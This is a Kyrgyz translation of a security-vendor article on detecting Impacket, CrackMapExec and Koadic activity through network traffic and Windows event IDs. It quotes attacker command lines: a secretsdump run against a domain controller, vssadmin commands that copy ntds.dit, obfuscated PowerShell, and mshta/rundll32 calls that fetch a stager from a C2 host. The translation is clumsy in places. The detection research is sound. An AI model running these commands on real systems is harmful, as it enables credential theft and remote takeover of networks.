Корпоративдик сектордо кол салуулардын саны жыл сайын өсүп жатат: мисалы
Белгилей кетсек, бул инструменттер алгачкы кирүү үчүн эмес, инфраструктуранын ичиндеги чабуулду өнүктүрүү үчүн колдонулат. Чабуулчулар аларды периметрге киргенден кийин чабуулдун ар кандай баскычтарында колдонушат. Бул, демек, аныктоо кыйын жана көп учурда технологиянын жардамы менен гана
Биз эмне кылышыбыз керек болчу:
- Хакердик куралдар кантип иштээрин түшүнүңүз. Чабуулчулар кандай эксплуатациялоо керек экенин жана алар кандай технологияларды колдоно аларын билип алыңыз.
- Чабуулдун биринчи этаптарында маалыматтык коопсуздук куралдары тарабынан аныкталбаган нерселерди табыңыз. Чабуулчу ички чабуулчу болгондуктан, же чабуулчу инфраструктурадагы мурда белгисиз тешиктен пайдаланып жаткандыктан чалгындоо фазасын өткөрүп жибериши мүмкүн. Бул анын иш-аракеттеринин бүт чынжырын калыбына келтирүү мүмкүн болуп калат, демек, андан аркы кыймылды аныктоо үчүн каалоо.
- Интрузияны аныктоо куралдарынан жалган позитивдерди жок кылыңыз. Жалаң чалгындоонун негизинде белгилүү иш-аракеттер аныкталганда, бат-баттан каталар болушу мүмкүн экенин унутпашыбыз керек. Адатта инфраструктурада кандайдыр бир маалыматты алуу үчүн бир караганда мыйзамдуулардан айырмаланбаган жетиштүү сандагы жолдор бар.
Бул куралдар чабуулчуларга эмне берет? Бул Impacket болсо, анда чабуулчулар периметрди бузгандан кийин чабуулдун ар кандай баскычтарында колдонула турган модулдардын чоң китепканасын алышат. Көптөгөн инструменттер Impacket модулдарын ички колдонушат - мисалы, Metasploit. Ал аралыктан буйруктарды аткаруу үчүн dcomexec жана wmiexec, Impacketтен кошулган эстутумдан эсептерди алуу үчүн secretsdump бар. Натыйжада, мындай китепкананын ишмердүүлүгүн туура аныктоо туундуларды аныктоону камсыз кылат.
Жаратуучулар CrackMapExec (же жөн эле CME) жөнүндө "Powered by Impacket" деп бекеринен жазган эмес. Мындан тышкары, CME популярдуу сценарийлер үчүн даяр функцияга ээ: сырсөздөрдү же алардын хэштерин алуу үчүн Mimikatz, алыстан аткаруу үчүн Meterpreter же Empire агентин ишке ашыруу жана борттогу Bloodhound.
Биз тандаган үчүнчү курал Koadic болду. Бул жакында эле, 25-жылы DEFCON 2017 эл аралык хакерлер конференциясында сунушталган жана стандарттуу эмес мамилеси менен айырмаланат: HTTP, Java Script жана Microsoft Visual Basic Script (VBS) аркылуу иштейт. Бул ыкма жердин сыртында жашоо деп аталат: курал Windows-до орнотулган көз карандылыктарды жана китепканаларды колдонот. Жаратуучулар аны COM Command & Control же C3 деп аташат.
IMPACKET
Impacketтин функционалдуулугу абдан кенен, AD ичиндеги чалгындоодон жана ички MS SQL серверлеринен маалыматтарды чогултуудан, эсептик маалыматтарды алуу ыкмаларына чейин: бул SMB релелик чабуулу жана домен контролеринен колдонуучу сырсөздөрүнүн хэштерин камтыган ntds.dit файлын алуу. Impacket ошондой эле төрт башка ыкманы колдонуу менен буйруктарды алыстан аткарат: WMI, Windows Scheduler Management Service, DCOM жана SMB жана бул үчүн эсептик дайындарды талап кылат.
Secretsdump
Келгиле, жашыруун сырды карап көрөлү. Бул колдонуучу машиналарын да, домен контроллерлорун да бутага ала турган модуль. Бул LSA, SAM, SECURITY, NTDS.dit эстутум аймактарынын көчүрмөлөрүн алуу үчүн колдонулушу мүмкүн, ошондуктан аны чабуулдун ар кандай этаптарында көрүүгө болот. Модулдун иштөөсүндөгү биринчи кадам SMB аркылуу аутентификация болуп саналат, ал Pass the Hash чабуулун автоматтык түрдө ишке ашыруу үчүн колдонуучунун сырсөзүн же анын хэшин талап кылат. Андан кийин Кызматты башкаруу менеджерине (SCM) кирүү мүмкүнчүлүгүн ачуу жана winreg протоколу аркылуу реестрге кирүү өтүнүчү келет, анын жардамы менен чабуулчу кызыккан тармактардын маалыматтарын таап, SMB аркылуу жыйынтыктарды ала алат.
Сүрөттө. 1 биз winreg протоколун колдонууда LSA менен реестр ачкычын колдонуу менен кирүү кандайча так экенин көрөбүз. Бул үчүн, opcode 15 - OpenKey менен DCERPC буйругун колдонуңуз.
Райс. 1. Winreg протоколун колдонуу менен реестр ачкычын ачуу
Андан кийин, ачкычка жетүү мүмкүн болгондо, баалуулуктар SaveKey буйругу менен opcode 20 менен сакталат. Impacket муну абдан конкреттүү түрдө жасайт. Ал маанилерди файлга сактайт, анын аты .tmp менен тиркелген 8 кокустан символдон турган сап болуп саналат. Мындан тышкары, бул файлды андан ары жүктөө System32 каталогунан SMB аркылуу ишке ашат (2-сүрөт).
Райс. 2. Алыскы машинадан реестр ачкычын алуу схемасы
Тармактагы мындай активдүүлүктү winreg протоколун, конкреттүү аталыштарды, буйруктарды жана алардын тартибин колдонуу менен реестрдин кээ бир бөлүмдөрүнө суроо-талаптар менен аныктоого болот экен.
Бул модуль ошондой эле Windows окуялар журналында издерин калтырып, аны аныктоону жеңилдетет. Мисалы, буйрукту аткаруунун натыйжасында
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
Windows Server 2016 журналында биз окуялардын төмөнкү негизги ырааттуулугун көрөбүз:
1. 4624 - алыстан кирүү.
2. 5145 - winreg дистанциялык кызматына кирүү укуктарын текшерүү.
3. 5145 - System32 каталогундагы файлга кирүү укуктарын текшерүү. Файлдын жогоруда айтылган кокустук аталышы бар.
4. 4688 - vssadminди ишке киргизген cmd.exe процессин түзүү:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - буйрук менен процессти түзүү:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
6. 4688 - буйрук менен процессти түзүү:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
7. 4688 - буйрук менен процессти түзүү:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
Smbexec
Көптөгөн эксплуатациядан кийинки инструменттер сыяктуу эле, Impacketте буйруктарды алыстан аткаруу үчүн модулдар бар. Биз алыскы машинада интерактивдүү буйрук кабыгын камсыз кылган smbexecке көңүл бурабыз. Бул модул да сырсөз же сырсөз хэш менен SMB аркылуу аутентификацияны талап кылат. Сүрөттө. 3 биз мындай куралдын кантип иштээрин мисалга көрөбүз, бул учурда бул жергиликтүү администратордун консолу.
Райс. 3. Интерактивдүү smbexec консолу
Аутентификациядан кийин smbexecтин биринчи кадамы OpenSCManagerW буйругу менен SCMди ачуу (15). Суроо көрүнүктүү: MachineName талаасы DUMMY.
Райс. 4. Кызматты башкаруу менеджерин ачууну сураныңыз
Андан кийин, кызмат CreateServiceW буйругун колдонуу менен түзүлөт (12). smbexec учурда, биз ар дайым бир эле команда куруу логикасын көрө алабыз. Сүрөттө. 5 жашыл өзгөрүлгүс команда параметрлерин көрсөтөт, сары чабуулчу эмнени өзгөртө аларын көрсөтөт. Аткарылуучу файлдын атын, анын каталогун жана чыгуу файлын өзгөртүүгө болорун көрүү оңой, бирок калганын Impacket модулунун логикасын бузбастан өзгөртүү алда канча кыйын.
Райс. 5. Кызматты башкаруу менеджери аркылуу кызмат түзүүнү сураныңыз
Smbexec ошондой эле Windows окуялар журналында ачык издерди калтырат. Ipconfig буйругу менен интерактивдүү командалык кабык үчүн Windows Server 2016 журналында биз окуялардын төмөнкү негизги ырааттуулугун көрөбүз:
1. 4697 — жабырлануучунун аппаратына кызматты орнотуу:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - 1-пункттун аргументтери менен cmd.exe процессин түзүү.
3. 5145 - C$ каталогундагы __output файлына кирүү укуктарын текшерүү.
4. 4697 — кызматты жабырлануучунун аппаратына орнотуу.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - 4-пункттун аргументтери менен cmd.exe процессин түзүү.
6. 5145 - C$ каталогундагы __output файлына кирүү укуктарын текшерүү.
Impacket чабуул куралдарын өнүктүрүү үчүн негиз болуп саналат. Ал Windows инфраструктурасындагы дээрлик бардык протоколдорду колдойт жана ошол эле учурда өзүнүн мүнөздүү өзгөчөлүктөрүнө ээ. Бул жерде конкреттүү winreg сурамдары жана мүнөздүү команда түзүү менен SCM API колдонуу, файлдын аталышынын форматы жана SMB SYSTEM32 бөлүшүү.
CRACKMAPEXEC
CME куралы, негизинен, чабуулчу тармак ичинде алдыга жылдыруу үчүн аткара турган күнүмдүк аракеттерди автоматташтыруу үчүн иштелип чыккан. Бул белгилүү Empire агенти жана Meterpreter менен бирге иштөөгө мүмкүндүк берет. Буйруктарды жашыруун аткаруу үчүн, CME аларды бүдөмүктөй алат. Bloodhound (өзүнчө чалгындоо куралы) менен чабуулчу активдүү домен администраторунун сеансын издөөнү автоматташтыра алат.
кандуу ит
Bloodhound, өз алдынча курал катары, тармактын ичинде өнүккөн чалгындоо үчүн мүмкүнчүлүк берет. Ал колдонуучулар, машиналар, топтор, сессиялар жөнүндө маалыматтарды чогултат жана PowerShell скрипти же бинардык файл катары берилет. Маалымат чогултуу үчүн LDAP же SMB негизиндеги протоколдор колдонулат. CME интеграциялык модулу Bloodhound'ду жабырлануучунун машинасына жүктөөгө, ишке ашыруудан кийин чогултулган маалыматтарды иштетүүгө жана кабыл алууга, ошону менен системадагы аракеттерди автоматташтырууга жана аларды анча байкалбайт. Bloodhound графикалык кабыгы чогултулган маалыматтарды графиктер түрүндө көрсөтөт, бул чабуулчунун машинасынан домен администраторуна чейинки эң кыска жолду табууга мүмкүндүк берет.
Райс. 6. Bloodhound Interface
Жабырлануучунун машинасында иштетүү үчүн модул ATSVC жана SMB аркылуу тапшырманы түзөт. ATSVC Windows Task Scheduler менен иштөө үчүн интерфейс. CME тармак аркылуу тапшырмаларды түзүү үчүн NetrJobAdd(1) функциясын колдонот. CME модулу жөнөткөн нерсенин мисалы сүрөттө көрсөтүлгөн. 7: Бул XML форматындагы аргумент түрүндөгү cmd.exe буйрук чалуу жана бүдөмүк код.
Fig.7. CME аркылуу тапшырма түзүү
Тапшырма аткарууга берилгенден кийин, жабырлануучунун машинасы Bloodhound'ду өзү иштетет жана муну трафиктен көрүүгө болот. Модуль стандарттык топторду, домендеги бардык машиналар менен колдонуучулардын тизмесин алуу жана SRVSVC NetSessEnum сурамы аркылуу активдүү колдонуучу сеанстары жөнүндө маалымат алуу үчүн LDAP сурамдары менен мүнөздөлөт.
Райс. 8. SMB аркылуу активдүү сессиялардын тизмесин алуу
Мындан тышкары, Bloodhound'ду жабырлануучунун машинасында текшерүү иштетилгенде ишке киргизүү ID 4688 (процессти түзүү) жана процесстин аталышы бар окуя менен коштолот «C:WindowsSystem32cmd.exe»
. Анын көңүлүн бурган нерсе буйрук сабынын аргументтери:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
enum_avproducts модулу функционалдык жана ишке ашыруу жагынан абдан кызыктуу. WMI ар кандай Windows объектилеринен маалыматтарды алуу үчүн WQL суроо тилин колдонууга мүмкүндүк берет, бул негизинен бул CME модулу колдонот. Ал AntiSpywareProduct жана AntiМirusProduct класстарына жабырлануучунун машинасында орнотулган коргоо куралдары жөнүндө суроону жаратат. Керектүү маалыматтарды алуу үчүн, модул rootSecurityCenter2 аттар мейкиндигине туташып, андан кийин WQL суроосун жаратат жана жооп алат. Сүрөттө. 9-сүрөттө мындай суроо-талаптардын жана жооптордун мазмуну көрсөтүлгөн. Биздин мисалда Windows Defender табылган.
Райс. 9. enum_avproducts модулунун тармактык активдүүлүгү
Көп учурда WQL сурамдары жөнүндө пайдалуу маалыматты таба турган WMI аудити (Trace WMI-Activity) өчүрүлүшү мүмкүн. Бирок эгер ал иштетилсе, анда enum_avproducts скрипти иштетилсе, ID 11 менен окуя сакталат.Анда сурам жөнөткөн колдонуучунун аты жана rootSecurityCenter2 аттар мейкиндигинде аталышы болот.
CME модулдарынын ар биринин өзүнүн артефактылары бар, мейли ал конкреттүү WQL сурамдары же LDAP жана SMBде бүдөмүк жана Bloodhound өзгөчө активдүүлүгү менен тапшырма пландоочуда тапшырманын белгилүү бир түрүн түзүү.
KOADIC
Koadicтин айырмалоочу өзгөчөлүгү - Windows'ко орнотулган JavaScript жана VBScript котормочуларын колдонуу. Бул жагынан алганда, ал жердин тенденциясы боюнча жашоону улантат - башкача айтканда, анын эч кандай тышкы көз карандылыгы жок жана стандарттуу Windows куралдарын колдонот. Бул толук Command & Control (CnC) үчүн курал, анткени инфекциядан кийин машинага "имплант" орнотулуп, аны башкарууга мүмкүндүк берет. Мындай машина, коадиялык терминологияда "зомби" деп аталат. Эгерде жабырлануучу тарапта толук иштөө үчүн артыкчылыктар жетишсиз болсо, Koadic аларды Колдонуучунун каттоо эсебин башкарууну айланып өтүү (UAC айланып өтүү) ыкмаларын колдонуу менен көтөрө алат.
Райс. 10. Koadic Shell
Жабырлануучу Command & Control сервери менен байланышты баштоосу керек. Бул үчүн, ал мурда даярдалган URI менен байланышып, баскычтардын бирин колдонуп, негизги Koadic органын кабыл алышы керек. Сүрөттө. 11-сүрөттө мшта стадер үчүн мисал көрсөтүлгөн.
Райс. 11. CnC сервери менен сессияны баштоо
WS жооп өзгөрмөсүнүн негизинде, аткаруу WScript.Shell аркылуу ишке ашары айкын болот жана STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE өзгөрмөлөрү учурдагы сессиянын параметрлери жөнүндө негизги маалыматты камтыйт. Бул CnC сервери менен HTTP байланышындагы биринчи суроо-жооп жуп. Кийинки суроо-талаптар чакырылган модулдардын (импланттардын) иштөөсүнө түздөн-түз байланыштуу. Бардык Koadic модулдары CnC менен активдүү сессия менен гана иштейт.
Mimikatz
CME Bloodhound менен иштегендей эле, Koadic да Mimikatz менен өзүнчө программа катары иштейт жана аны ишке киргизүүнүн бир нече жолу бар. Төмөндө Mimikatz имплантын жүктөп алуу үчүн суроо-жооп жуп болуп саналат.
Райс. 12. Мимикатцты Коадичке өткөрүп берүү
Сурамдагы URI форматы кандайча өзгөргөнүн көрө аласыз. Ал азыр тандалган модул үчүн жооптуу csrf өзгөрмөнүн маанисин камтыйт. анын атына көңүл бурба; Биз баарыбыз CSRF, адатта, башкача түшүнүлөт экенин билебиз. Жооп Коадичтин ошол эле негизги органы болгон, ага Мимикатц менен байланышкан код кошулган. Бул абдан чоң, ошондуктан негизги пункттарды карап көрөлү. Бул жерде бизде base64 менен коддолгон Mimikatz китепканасы, аны инъекциялай турган серияланган .NET классы жана Mimikatzти ишке киргизүү үчүн аргументтер бар. Аткаруу натыйжасы тармак аркылуу ачык текстте берилет.
Райс. 13. Мимикатцты алыскы машинада иштетүүнүн натыйжасы
Exec_cmd
Koadicте буйруктарды алыстан аткара турган модулдар да бар. Бул жерде биз ошол эле URI жаратуу ыкмасын жана тааныш sid жана csrf өзгөрмөлөрүн көрөбүз. exec_cmd модулунун учурда, кабык буйруктарын аткарууга жөндөмдүү денеге код кошулат. Төмөндө CnC серверинин HTTP жоопунда камтылган мындай код көрсөтүлгөн.
Райс. 14. Имплантация коду exec_cmd
Коддун аткарылышы үчүн тааныш WS атрибуту менен GAWTUUGCFI өзгөрмө талап кылынат. Анын жардамы менен имплант коддун эки бутагын иштетип, кабыкты чакырат - shell.exec чыгуучу маалымат агымынын кайтарылышы менен жана shell.run кайтарылбастан.
Koadic типтүү курал эмес, бирок анын өзүнүн артефактылары бар, алар аркылуу аны мыйзамдуу трафиктен тапса болот:
- HTTP суроо-талаптарынын атайын түзүлүшү,
- winHttpRequests API колдонуп,
- ActiveXObject аркылуу WScript.Shell объектин түзүү,
- чоң аткарылуучу орган.
Алгачкы туташуу стадер тарабынан ишке ашырылат, ошондуктан анын активдүүлүгүн Windows окуялары аркылуу аныктоого болот. Mshta үчүн, бул башталгыч атрибуту менен процессти түзүүнү көрсөткөн 4688 окуя:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6
Koadic иштеп жатканда, сиз аны эң сонун мүнөздөгөн атрибуттары бар башка 4688 окуяларды көрө аласыз:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
табылгалары
Кылмышкерлер арасында жер тенденциясы менен жашоо популярдуу болууда. Алар өз муктаждыктары үчүн Windows ичинде орнотулган куралдарды жана механизмдерди колдонушат. Биз популярдуу куралдарды көрүп жатабыз Koadic, CrackMapExec жана Impacket ушул принципке ылайык APT отчетторунда барган сайын пайда болот. Бул куралдар үчүн GitHub'да айрылардын саны да өсүп жатат жана жаңылары пайда болууда (азыр алардын миңге жакыны бар). Бул тенденция өзүнүн жөнөкөйлүгүнөн улам популярдуу болуп баратат: чабуулчуларга үчүнчү тараптын куралдары керек эмес, алар жабырлануучулардын машиналарында жана коопсуздук чараларын айланып өтүүгө жардам берет. Биз тармактык байланышты изилдөөгө көңүл бурабыз: жогоруда сүрөттөлгөн ар бир курал тармак трафигинде өзүнүн изин калтырат; аларды майда-чүйдөсүнө чейин изилдөө биздин продукцияны үйрөтүүгө мүмкүндүк берди
Authors:
- Антон Тюрин, PT Expert Security Center, Positive Technologies, Эксперттик кызматтар бөлүмүнүн башчысы
- Егор Подмоков, PT Expert Security Center, Positive Technologies эксперти
Source: www.habr.com